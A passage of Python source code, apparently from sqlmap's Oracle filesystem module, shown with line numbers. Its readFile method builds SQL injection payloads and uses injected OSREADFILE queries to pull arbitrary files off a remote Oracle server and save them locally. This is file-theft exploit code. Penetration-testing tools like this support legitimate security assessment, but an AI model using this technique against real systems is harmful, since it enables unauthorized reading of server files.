(self, remoteFile)
| 21 | |
| 22 | class Filesystem(GenericFilesystem): |
| 23 | def readFile(self, remoteFile): |
| 24 | localFilePaths = [] |
| 25 | snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") |
| 26 | |
| 27 | for query in snippet.split("\n"): |
| 28 | query = query.strip() |
| 29 | query = agent.prefixQuery("OR (%s) IS NULL" % query) |
| 30 | query = agent.suffixQuery(query, trimEmpty=False) |
| 31 | payload = agent.payload(newValue=query) |
| 32 | Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) |
| 33 | |
| 34 | for remoteFile in remoteFile.split(','): |
| 35 | if not kb.bruteMode: |
| 36 | infoMsg = "fetching file: '%s'" % remoteFile |
| 37 | logger.info(infoMsg) |
| 38 | |
| 39 | kb.fileReadMode = True |
| 40 | fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) |
| 41 | kb.fileReadMode = False |
| 42 | |
| 43 | if not isNoneValue(fileContent): |
| 44 | fileContent = decodeDbmsHexValue(fileContent, True) |
| 45 | |
| 46 | if fileContent.strip(): |
| 47 | localFilePath = dataToOutFile(remoteFile, fileContent) |
| 48 | localFilePaths.append(localFilePath) |
| 49 | |
| 50 | elif not kb.bruteMode: |
| 51 | errMsg = "no data retrieved" |
| 52 | logger.error(errMsg) |
| 53 | |
| 54 | return localFilePaths |
| 55 | |
| 56 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): |
| 57 | errMsg = "File system write access not yet implemented for " |
nothing calls this directly
no test coverage detected